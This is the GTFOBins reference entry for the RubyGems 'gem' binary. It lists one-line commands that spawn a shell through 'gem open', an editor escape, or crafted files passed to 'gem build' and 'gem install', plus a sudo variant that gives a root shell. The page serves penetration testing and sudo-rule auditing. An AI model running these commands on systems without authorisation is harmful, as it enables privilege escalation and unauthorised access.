Files
GTFOBins.github.io/_gtfobins/gem.md
Andrea Cardaci ddd6c2e304 Fix typo in gem
2020-03-14 12:56:21 +01:00

1013 B

functions
functions
shell sudo
description code
This requires the name of an installed gem to be provided (`json` is usually installed). gem open -e "/bin/sh -c /bin/sh" json
description code
This invokes the default editor, which is likely to be [`vi`](/gtfobins/vi/), other functions may apply. This requires the name of an installed gem to be provided (`json` is usually installed). gem open json :!/bin/sh
description code
This executes the specified file as [`ruby`](/gtfobins/ruby/) code. TF=$(mktemp -d) echo 'system("/bin/sh")' > $TF/x gem build $TF/x
description code
This executes the specified file as [`ruby`](/gtfobins/ruby/) code. TF=$(mktemp -d) echo 'system("/bin/sh")' > $TF/x gem install --file $TF/x
description code
This requires the name of an installed gem to be provided (`json` is usually installed). sudo gem open -e "/bin/sh -c /bin/sh" json